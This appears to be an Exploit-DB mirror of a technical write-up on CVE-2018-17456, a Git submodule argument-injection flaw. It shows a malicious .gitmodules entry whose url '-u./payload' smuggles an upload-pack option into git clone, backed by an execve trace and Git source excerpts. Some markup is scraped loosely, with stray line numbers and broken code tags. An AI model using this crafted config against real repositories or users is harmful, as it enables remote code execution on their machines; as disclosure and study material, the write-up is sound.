1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 |
# CVE-2018-17456 I've gotten a couple of questions about exploitation for the [recent RCE](https://marc.info/?l=git&m=153875888916397&w=2) in Git. So here we go with some technical details. ## TL;DR [Here](https://github.com/joernchen/poc-submodule) is a PoC repository. EDB Note: Mirror ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45631.zip ## Exploitation The <code>.gitmodules</code> file looks as follows: </code><code> [submodule "x:x"] path = x:x url = -u./payload </code><code> The actual command being injected is set by the url, <code>-u./payload points the <code>upload-pack</code> flag of git clone to the <code>payload</code> shell script. Note also the <code>:</code> within the path, this part is needed to actually get the <code>payload</code> script executed. The path will end up as the repository URL in the subsequent <code>clone operation: </code><code> execve("/usr/lib/git-core/git", ["/usr/lib/git-core/git", "clone", "--no-checkout", "--progress", "--separate-git-dir", "/tmp/huhu/.git/modules/x:x", "-u./payload", "/tmp/huhu/x:x"],... </code><code> As the actual URL from <code>.gitmodules</code> is interpreted as the <code>-u argument. The colon is due to the fact, that the colon character let us go past those lines in <code>transport.c</code>: </code><code>c } else if (url_is_local_not_ssh(url) && is_file(url) && is_bundle(url, 1)) { struct bundle_transport_data *data = xcalloc(1, sizeof(*data)); transport_check_allowed("file"); ret->data = data; ret->vtable = &bundle_vtable; ret->smart_options = NULL; </code><code> Due to <code>url_is_local_not_ssh</code> will return false due to the colon in the path. And therefore later on in the code the smart_options containing the <code>uploadpack</code> setting are still in place: </code><code>c } else { /* Unknown protocol in URL. Pass to external handler. */ int len = external_specification_len(url); char *handler = xmemdupz(url, len); transport_helper_init(ret, handler); } if (ret->smart_options) { ret->smart_options->thin = 1; ret->smart_options->uploadpack = "git-upload-pack"; if (remote->uploadpack) ret->smart_options->uploadpack = remote->uploadpack; ret->smart_options->receivepack = "git-receive-pack";1 if (remote->receivepack) ret->smart_options->receivepack = remote->receivepack; } </code><code> ## Further hints The constraint to have a colon in the <code>path</code> seems to hinder exploitation on Windows as a colon is a forbidden character within a path on Windows. However as noted by some people during the disclosure: Git running within the Windows Subsystem for Linux or cygwin will allow exploitation on Windows hosts. Etienne Stalmans who found [a similar issue](https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/) earlier this year managed to exploit this argument injection [using <code>--template</code>](https://twitter.com/_staaldraad/status/1049241254939246592). |